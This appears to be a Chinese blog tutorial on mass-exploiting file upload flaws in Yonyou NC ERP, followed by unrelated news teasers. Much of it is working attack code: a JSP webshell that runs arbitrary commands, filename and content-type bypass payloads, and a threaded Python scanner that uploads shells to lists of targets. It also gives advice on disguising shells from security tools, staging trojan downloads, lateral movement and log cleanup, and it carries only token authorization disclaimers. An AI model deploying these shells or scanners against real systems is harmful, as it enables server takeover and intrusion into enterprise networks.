用友NC文件上传漏洞批量挖掘:从原理到工程化实战
1. 项目概述从单点突破到批量狩猎在甲方做安全评估或者乙方做渗透测试项目时我们经常会遇到用友NC这类大型企业级应用。面对动辄几十上百个实例如果还抱着“一个手工、一个包”的老思路效率低下不说还容易遗漏目标。这次要聊的就是如何围绕“用友NC文件上传漏洞”这个点构建一套高效的批量漏洞挖掘流程。这不仅仅是复现一个已知漏洞更是将渗透测试工程师的日常操作升级为可重复、可扩展、智能化的狩猎行动。文件上传漏洞本质上是应用对用户上传的文件缺乏有效的过滤与校验导致攻击者能够上传恶意脚本文件如JSP、PHP Webshell并最终在服务器上执行任意代码。用友NC作为广泛使用的ERP系统其历史版本中曾多次出现此类问题相关漏洞在业界已不是秘密。但难点在于如何在海量的潜在目标中快速、准确、批量地验证漏洞是否存在并完成初步的利用。这需要我们将渗透测试的思维从“技术点验证”转向“工程化运营”。2. 核心思路与工程化设计2.1 漏洞原理与利用链拆解要批量挖掘首先得吃透单点漏洞的原理。用友NC的文件上传漏洞常出现在一些特定的Servlet或接口中例如早期版本中用于文件管理的/servlet/~ic/bsh.servlet.BshServletBeanShell RCE或是某些版本中上传附件的接口未对文件后缀、内容进行严格检查。一个典型的利用链可能如下入口点发现通过信息收集或已知路径定位到存在文件上传功能的接口例如/xxx/yyy/upload.jsp或某个特定的API端点。绕过尝试直接上传.jsp文件通常会被拦截。需要尝试各种绕过技巧如修改HTTP请求包Content-Type、filename参数、使用特殊字符::$DATA、空格、点、双写后缀.jsp.jsp、大小写混淆.JsP、以及利用解析特性.jsp;.jpg、.jsp%00.jpg——需注意空字节截断在现代环境中的适用性。Webshell上传与验证成功绕过后上传一个功能简单的Webshell例如一个可以执行系统命令的JSP文件。然后访问上传后的文件路径验证是否能够正常解析和执行命令。权限提升与内网渗透获得Webshell后根据服务器环境进行提权并以此为跳板进行内网横向移动。批量挖掘的核心就是将上述手工步骤中的第1、2、3步进行自动化。2.2 批量扫描框架设计一个高效的批量漏洞挖掘系统通常由以下几个模块组成目标收集与整理模块输入可以是IP段、域名列表、或从搜索引擎、测绘平台如Fofa、Shodan获取的用友NC特征资产。关键是要提取出目标的根URL并标准化格式。漏洞检测引擎模块这是核心。它需要封装针对特定上传接口的HTTP请求逻辑包括构造包含恶意文件的POST数据包并集成常见的绕过技术。结果验证与判断模块发送上传请求后不能仅凭HTTP状态码判断成功。需要尝试访问可能的上传路径通过响应内容如包含特定关键词或响应时间差等方式来高置信度地判断Webshell是否上传并存活。任务调度与并发控制模块管理大批量目标的扫描任务合理控制并发线程数避免对目标造成过大压力或触发防护设备的警报。报告生成模块将成功的目标、漏洞URL、Webshell地址等信息结构化输出便于后续手工复核和利用。注意自动化工具是一把双刃剑。在未经授权的系统上进行测试是违法行为。本文所有技术讨论仅限用于授权测试、安全研究及企业自身的安全建设。务必遵守法律法规和职业道德。2.3 工具选型与自研考量你可以选择成熟的框架进行二次开发也可以从零开始构建。成熟框架如Pocsuite3、Xray、Nuclei优势在于社区活跃漏洞模板POC丰富并发和重试机制完善。例如可以为Nuclei编写一个针对用友NC特定上传接口的模板YAML格式定义请求、payload和匹配规则。这种方式开发速度快适合快速验证已知漏洞的批量影响面。自研脚本Python Requests优势在于灵活性极高可以深度定制绕过逻辑和验证逻辑。例如你可以精细控制每个请求的Header、Cookie如果需要会话、上传包的数据结构并实现复杂的条件判断。这对于研究新型绕过手法或应对存在自定义防护规则的目标非常有效。对于用友NC这种具体场景我倾向于使用Python自研。因为很多现成工具的通用上传POC可能无法适应NC特定的接口参数和响应特征自研可以做到更精准。3. 关键技术实现与细节剖析3.1 目标资产梳理与指纹识别批量操作的第一步是找到目标。用友NC有比较明显的指纹特征。HTTP响应头查看Server字段可能包含Resin、Apache-Coyote等但这不是NC独有的。特定静态资源访问根路径下的/logo/、/images/目录看是否存在用友风格的图片。或者寻找/portal/、/yyoa/等路径。登录页面特征用友NC的登录页面通常有特定的标题、版权信息或表单字段名。错误页面访问一个不存在的路径NC可能会返回特定的错误页面模板。我们可以编写一个简单的识别函数结合多个特征进行判断提高准确性。import requests def identify_yonyou_nc(url): 识别目标是否为用友NC系统 :param url: 目标基础URL如 http://target.com :return: Boolean headers {User-Agent: Mozilla/5.0} try: resp requests.get(url /, headersheaders, timeout5, verifyFalse) # 检查页面内容中的关键字 keywords [用友, Yonyou, NC, 登录, UAP] if any(keyword in resp.text for keyword in keywords): return True # 检查特定路径 resp_logo requests.get(url /logo/logo.png, headersheaders, timeout3, verifyFalse) if resp_logo.status_code 200 and image in resp_logo.headers.get(Content-Type, ): # 可以进一步检查图片MD5等 return True except requests.exceptions.RequestException: pass return False3.2 漏洞检测Payload构造这是最核心的部分。我们需要模拟浏览器向特定的上传接口发送一个精心构造的HTTP请求。假设我们针对一个已知的漏洞接口/servlet/FileReceiveServlet此为示例实际漏洞点需根据研究确定。基础请求构造使用multipart/form-data格式上传文件。Python的requests库可以方便地处理。import requests target_url http://target.com/servlet/FileReceiveServlet webshell_content b%page importjava.util.*,java.io.*%% if(request.getParameter(cmd)!null){ Process p Runtime.getRuntime().exec(request.getParameter(cmd)); BufferedReader br new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while((linebr.readLine())!null){ out.println(line); } } % files { file: (test.jsp, webshell_content, image/jpeg) # 关键伪装文件名和Content-Type } data { otherParam: value # 根据实际接口需要的其他参数填充 } resp requests.post(target_url, filesfiles, datadata)集成绕过技术为了应对基础过滤我们需要在files字典上做文章。双写后缀(test.jsp.jsp, webshell_content, image/jpeg)大小写绕过(test.Jsp, webshell_content, image/jpeg)空格/点绕过(test.jsp , webshell_content, image/jpeg)或(test.jsp., webshell_content, image/jpeg)特殊解析绕过(test.jsp;.jpg, webshell_content, image/jpeg)(适用于某些Apache/IIS解析特性)修改Content-Disposition这需要更底层的操作可以使用requests的files参数手动构造复杂的边界和头部或者使用http.client库。# 一个更灵活的手工构造multipart请求的例子概念性代码 boundary ----WebKitFormBoundaryABC123 headers {Content-Type: fmultipart/form-data; boundary{boundary}} body ( f--{boundary}\r\n fContent-Disposition: form-data; namefile; filenametest.jsp .jpg\r\n # 空格绕过 fContent-Type: image/jpeg\r\n\r\n ).encode() webshell_content f\r\n--{boundary}--\r\n.encode() resp requests.post(target_url, databody, headersheaders)3.3 智能化验证机制发送上传请求后返回200并不代表成功。我们需要验证Webshell是否真的被服务器存储并可以访问。路径预测上传接口成功后通常会返回文件存储的路径或文件名。我们需要从响应中提取这个信息。如果接口不返回则需要根据常见存储路径进行猜测如/upload/、/files/、/yyoa/upload/等并结合时间戳或原始文件名生成猜测路径。访问验证对预测的路径发起GET请求。内容判断静态特征如果Webshell包含特定代码如%可以检查响应体是否包含这些字符注意如果被解析执行了这些字符可能不会原样返回。动态验证更可靠的方法是通过Webshell执行一个无害且特征明显的命令如echo [unique_marker]然后检查响应中是否包含这个标记。时间延迟验证让Webshell执行sleep 5通过响应时间差来判断。这种方法误报率低但会显著增加扫描时间。def verify_webshell(webshell_url): 验证Webshell是否存活 :param webshell_url: 猜测的Webshell地址 :return: Boolean try: # 方法1执行echo命令 resp requests.get(webshell_url ?cmdechoHelloVerify123, timeout10) if HelloVerify123 in resp.text: return True # 方法2检查JSP错误如果未解析可能会暴露源码 if %page in resp.text: return True # 可能上传成功但未解析也是漏洞存在的重要证据 except: pass return False4. 完整实操流程与代码框架下面我将勾勒一个完整的、可运行的批量扫描脚本的核心框架。请注意这只是一个教育示例你需要根据实际的漏洞详情进行填充和调整。#!/usr/bin/env python3 用友NC文件上传漏洞批量检测脚本 (框架示例) Author: Security Researcher 说明请务必在合法授权范围内使用。 import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed from urllib.parse import urljoin import argparse requests.packages.urllib3.disable_warnings() class YonyouNC_Upload_Scanner: def __init__(self, threads10): self.threads threads self.session requests.Session() self.session.headers.update({ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 }) # 定义要检测的潜在上传接口路径列表 self.upload_paths [ /servlet/FileReceiveServlet, /yyoa/upload.jsp, /uap/upload, # ... 根据你的研究添加更多路径 ] # 定义绕过payload列表 (filename, content_type) self.evasion_payloads [ (shell.jsp, image/jpeg), # 基础 (shell.jsp.jsp, image/jpeg), # 双写 (shell.jSp, image/jpeg), # 大小写 (shell.jsp , image/jpeg), # 空格 (shell.jsp;.jpg, image/jpeg), # 解析 ] self.webshell_content b% \test\ % # 一个极简的测试shell def check_single_target(self, base_url): 检测单个目标 print(f[*] 正在检测: {base_url}) results [] for path in self.upload_paths: upload_url urljoin(base_url, path) if not self._probe_url(upload_url): continue # 接口不存在或不可访问 for filename, content_type in self.evasion_payloads: print(f [-] 尝试 {path} - {filename}) is_vuln, shell_url self._test_upload(upload_url, filename, content_type) if is_vuln: result { target: base_url, vuln_url: upload_url, payload: filename, shell_url: shell_url } results.append(result) print(f [] 发现漏洞! Shell: {shell_url}) # 找到一个即可停止对此接口的其他payload测试 break return results def _probe_url(self, url): 探测URL是否存在 try: resp self.session.head(url, timeout5, verifyFalse) return resp.status_code 400 except: return False def _test_upload(self, upload_url, filename, content_type): 测试单个上传点与payload组合 files {file: (filename, self.webshell_content, content_type)} try: resp self.session.post(upload_url, filesfiles, timeout10, verifyFalse) except requests.exceptions.RequestException: return False, None # 假设上传成功返回200且body里包含上传后的路径这里需要根据实际响应调整解析逻辑 if resp.status_code 200: # 此处应编写解析响应获取上传文件路径的逻辑。 # 例如如果响应是JSON: {path: /uploads/xxx.jsp} # 或者尝试几种常见的命名规则和目录 guessed_paths self._guess_shell_path(filename, resp) for guessed_url in guessed_paths: if self._verify_shell(guessed_url): return True, guessed_url return False, None def _guess_shell_path(self, filename, upload_response): 根据响应和规则生成可能的Webshell访问路径列表 base_guesses [ /upload/, /uploads/, /yyoa/upload/, /uap/files/, ] guessed_urls [] target_base upload_response.url.rsplit(/, 1)[0] if / in upload_response.url else upload_response.url # 示例简单拼接几种可能 for base in base_guesses: guessed_urls.append(urljoin(target_base, base filename.strip())) # 注意去掉空格 # 可以尝试从响应HTML/JSON中提取路径这里省略了解析代码 return guessed_urls def _verify_shell(self, url): 验证Webshell是否可访问 try: resp self.session.get(url, timeout5, verifyFalse) # 简单验证如果访问到我们的测试字符串 if resp.status_code 200 and b% \test\ % in resp.content: return True except: pass return False def run_batch(self, target_list): 批量扫描入口 all_results [] with ThreadPoolExecutor(max_workersself.threads) as executor: future_to_target {executor.submit(self.check_single_target, target): target for target in target_list} for future in as_completed(future_to_target): target future_to_target[future] try: results future.result() if results: all_results.extend(results) except Exception as e: print(f[!] 目标 {target} 检测出错: {e}) return all_results def main(): parser argparse.ArgumentParser(description用友NC文件上传漏洞批量扫描器) parser.add_argument(-f, --file, help包含目标URL列表的文件每行一个) parser.add_argument(-u, --url, help单个目标URL) parser.add_argument(-t, --threads, typeint, default10, help并发线程数) args parser.parse_args() targets [] if args.url: targets.append(args.url.rstrip(/)) if args.file: with open(args.file, r) as f: for line in f: line line.strip() if line and not line.startswith(#): targets.append(line.rstrip(/)) if not targets: print([-] 请通过 -u 或 -f 参数指定目标) sys.exit(1) scanner YonyouNC_Upload_Scanner(threadsargs.threads) print(f[*] 开始批量扫描共 {len(targets)} 个目标线程数 {args.threads}) results scanner.run_batch(targets) print(\n *50) print([] 扫描完成结果汇总) for r in results: print(f 目标: {r[target]}) print(f 漏洞接口: {r[vuln_url]}) print(f 有效Payload: {r[payload]}) print(f Webshell地址: {r[shell_url]}) print( ---) if __name__ __main__: main()这个框架提供了完整的并发扫描、多路径探测、多Payload尝试以及基础验证的逻辑。你需要根据实际遇到的用友NC版本和漏洞详情重点完善以下部分self.upload_paths填入真实存在的漏洞接口路径。_test_upload方法中的请求参数用友NC的上传接口可能需要特定的参数名不只是file和表单数据。_guess_shell_path方法这是成功率的关键。你需要分析真实漏洞的响应看它是返回完整URL、相对路径还是仅仅一个文件名然后编写对应的解析和猜测逻辑。_verify_shell方法采用更可靠的动态验证方式比如执行一个echo [随机字符串]的命令。5. 常见问题排查与实战心得在批量扫描过程中你会遇到各种各样的问题。下面是一些典型的排查思路和我积累的一些经验。5.1 扫描结果误报与漏报问题现象可能原因排查与解决思路误报高1. 验证逻辑过于简单如仅检查状态码200。2. 猜测的Webshell路径恰好存在一个同名合法文件。1.强化验证采用“动态命令执行特征字符串匹配”的方式这是最可靠的。例如让Webshell执行echo [随机UUID]并在响应中查找该UUID。2.增加噪声在猜测路径时加入时间戳或随机字符串降低与现有文件撞名的概率。漏报高1. 目标系统存在WAF或自定义防护拦截了扫描请求。2. 上传接口路径或参数不正确。3. 绕过Payload库不够全面。4. 网络不稳定或目标响应慢导致超时。1.请求伪装模拟更真实的浏览器请求头添加Referer、Cookie如果需要会话并适当降低请求频率。2.路径爆破使用更全面的接口路径字典。3.Payload迭代研究目标系统使用的具体过滤组件如Java的FileUpload库、安全软件针对性地设计绕过Payload。例如某些过滤会删除“;”但可能不过滤“.”。4.调整超时适当增加timeout值并实现重试机制。扫描进程卡死或崩溃1. 某个目标长时间无响应阻塞了线程。2. 程序未处理异常。1.设置全局超时为每个HTTP请求设置连接和读取超时如timeout(5, 10)。2.使用线程池并捕获异常就像示例代码中那样使用ThreadPoolExecutor并妥善处理future.result()的异常。5.2 实战中的技巧与注意事项会话Session管理部分上传功能需要用户登录后的会话JSESSIONID。在扫描前可能需要先实现一个登录流程获取有效的Cookie并在requests.Session()中保持。这会使扫描逻辑复杂化但能覆盖更多漏洞场景。速率限制与隐匿性在授权测试中也应避免对目标业务造成影响。控制并发线程数例如5-10个并在请求间添加随机延时time.sleep(random.uniform(0.5, 2))。Payload的免杀与变形随着安全设备升级静态特征的Webshell容易被拦截。可以考虑使用动态生成的小马功能仅为下载更大的木马。对Webshell代码进行简单编码如Base64、异或在服务端解码执行。利用目标系统已有的合法JSP文件通过文件包含或模板注入漏洞来执行代码这比上传新文件更隐蔽。结果复核自动化工具输出的“成功”结果必须进行手工复核。用浏览器或命令行工具访问报告的Webshell地址亲自执行几个命令如whoami,ipconfig /all或ifconfig确认漏洞真实存在且可利用。法律与授权这是最重要的部分。没有明确、书面的授权绝对不要对任何系统进行测试。你的扫描行为可能会被日志记录并构成违法甚至犯罪证据。5.3 从漏洞验证到深度利用批量扫描确认漏洞存在后工作才刚刚开始。一个Webshell的权限可能很低如www-data、tomcat用户。接下来需要考虑信息收集通过Webshell收集系统信息操作系统、补丁、用户、网络配置、数据库连接信息、配置文件中的敏感信息。权限提升利用系统内核漏洞、服务配置错误、弱密码、SUID文件等尝试提权至root或SYSTEM。内网横向移动如果目标处于内网可以将其作为跳板使用nmap、msf、cobalt strike等工具进行内网资产发现和漏洞利用。痕迹清理在授权测试结束后根据要求清理上传的Webshell文件、操作日志等痕迹。这个过程对综合能力要求很高需要你熟悉操作系统、网络、多种漏洞利用技术。批量漏洞挖掘工具解放了你的双手让你能更专注于这些需要深度思考和创造力的环节。

相关新闻

Java开发必修课:SQL注入原理、攻击手法与深度防御实战

Java开发必修课:SQL注入原理、攻击手法与深度防御实战

1. 项目概述:为什么SQL注入是Java开发者的“必修课”如果你是一名Java后端开发者,或者正在准备Java相关的面试,那么“SQL注入”这个词你一定不陌生。它几乎出现在每一份Java面试八股文的清单里,从“Java基础面试题”到“Java面试必…

2026/6/29 1:37:33阅读更多 →
数据划分不是拍脑袋:工业级模型评估的科学切分方法论

数据划分不是拍脑袋:工业级模型评估的科学切分方法论

1. 为什么“70/15/15”不是金科玉律——一个老手在模型部署现场踩了三年坑后的真实复盘你刚拿到一份新数据,打开Jupyter Notebook,手指悬在train_test_split函数上方,心里默念:“训练集70%,验证集15%,测试集…

2026/6/29 1:37:33阅读更多 →
ESXi 6.7 虚拟机模板化部署与快速克隆实战

ESXi 6.7 虚拟机模板化部署与快速克隆实战

1. ESXi 6.7模板化部署的核心价值 在IT运维和开发环境中,经常需要批量部署相同配置的虚拟机。传统方式需要为每台虚拟机重复安装操作系统、配置基础环境,效率低下且容易出错。ESXi 6.7的模板化部署方案完美解决了这个问题,它能将标准化配置固…

2026/6/29 1:37:33阅读更多 →
免费解锁百度网盘限速:Python直链解析工具的终极解决方案

免费解锁百度网盘限速:Python直链解析工具的终极解决方案

免费解锁百度网盘限速:Python直链解析工具的终极解决方案 【免费下载链接】baidu-wangpan-parse 获取百度网盘分享文件的下载地址 项目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 还在为百度网盘的非会员限速而烦恼吗?每天下载…

2026/6/29 2:47:37阅读更多 →
免费AirPlay投屏终极指南:让Windows电脑变身苹果设备接收器

免费AirPlay投屏终极指南:让Windows电脑变身苹果设备接收器

免费AirPlay投屏终极指南:让Windows电脑变身苹果设备接收器 【免费下载链接】airplay2-win Airplay2 for windows 项目地址: https://gitcode.com/gh_mirrors/ai/airplay2-win 还在为Windows电脑无法接收iPhone、iPad或Mac的屏幕镜像而烦恼吗?air…

2026/6/29 2:47:37阅读更多 →
Blender FLIP Fluids插件:3步创建电影级流体效果的终极指南

Blender FLIP Fluids插件:3步创建电影级流体效果的终极指南

Blender FLIP Fluids插件:3步创建电影级流体效果的终极指南 【免费下载链接】Blender-FLIP-Fluids The FLIP Fluids addon is a tool that helps you set up, run, and render high quality liquid fluid effects all within Blender, the free and open source 3D …

2026/6/29 2:47:37阅读更多 →
PVZ Toolkit深度解析:跨版本游戏内存修改器的架构设计与实现原理

PVZ Toolkit深度解析:跨版本游戏内存修改器的架构设计与实现原理

PVZ Toolkit深度解析:跨版本游戏内存修改器的架构设计与实现原理 【免费下载链接】pvztoolkit 植物大战僵尸 PC 版综合修改器 项目地址: https://gitcode.com/gh_mirrors/pv/pvztoolkit PVZ Toolkit是一款专为经典游戏《植物大战僵尸》PC版设计的开源游戏修改…

2026/6/29 2:47:37阅读更多 →
深度剖析虚幻引擎脚本系统:5大实战场景完全指南

深度剖析虚幻引擎脚本系统:5大实战场景完全指南

深度剖析虚幻引擎脚本系统:5大实战场景完全指南 【免费下载链接】RE-UE4SS Injectable LUA scripting system, SDK generator, live property editor and other dumping utilities for UE4/5 games 项目地址: https://gitcode.com/gh_mirrors/re/RE-UE4SS UE…

2026/6/29 2:47:37阅读更多 →
LBP特征:局部二值模式的原理与纹理特征提取

LBP特征:局部二值模式的原理与纹理特征提取

LBP特征:局部二值模式的原理与纹理特征提取📚 本章学习目标:深入理解局部二值模式的原理与纹理特征提取的核心概念与实践方法,掌握关键技术要点,了解实际应用场景与最佳实践。本文属于《计算机视觉教程》特征提取与边缘…

2026/6/29 2:42:37阅读更多 →
AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

6个月前的2025年12月,Boris Cherny 公开宣布自己卸载了 IDE。一时间,Vibe Coding 成了全行业最热的话题。6个月后,当我们回过头来拉一份真实账本,发现事情远没有"一句话生成一个App"那么浪漫。本文从产品经理和研发两个…

2026/6/28 0:08:01阅读更多 →
审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

引言:审计结束三个月了,审计员的权限还没关某城商行每年按照监管要求开展至少一次数据安全审计。审计期间,内审部门需要抽样检查各类业务数据——交易流水、客户信息、员工操作日志、权限配置记录。这些数据分布在不同系统中,审计…

2026/6/29 2:19:08阅读更多 →
如何在3秒内从普通图片生成专业级法线贴图:DeepBump的终极指南

如何在3秒内从普通图片生成专业级法线贴图:DeepBump的终极指南

如何在3秒内从普通图片生成专业级法线贴图:DeepBump的终极指南 【免费下载链接】DeepBump Normal & height maps generation from single pictures 项目地址: https://gitcode.com/gh_mirrors/de/DeepBump 还在为3D建模中的纹理制作而烦恼吗?…

2026/6/29 0:01:47阅读更多 →
OCAuxiliaryTools:终极OpenCore配置工具,让黑苹果安装从未如此简单!

OCAuxiliaryTools:终极OpenCore配置工具,让黑苹果安装从未如此简单!

OCAuxiliaryTools:终极OpenCore配置工具,让黑苹果安装从未如此简单! 【免费下载链接】OCAuxiliaryTools Cross-platform GUI management tools for OpenCore(OCAT) 项目地址: https://gitcode.com/gh_mirrors/oc/OCA…

2026/6/29 0:01:47阅读更多 →
终极Windows 11精简指南:使用tiny11builder快速创建纯净系统镜像

终极Windows 11精简指南:使用tiny11builder快速创建纯净系统镜像

终极Windows 11精简指南:使用tiny11builder快速创建纯净系统镜像 【免费下载链接】tiny11builder Scripts to build a trimmed-down Windows 11 image. 项目地址: https://gitcode.com/GitHub_Trending/ti/tiny11builder 你是否厌倦了Windows 11系统自带的20…

2026/6/29 0:01:47阅读更多 →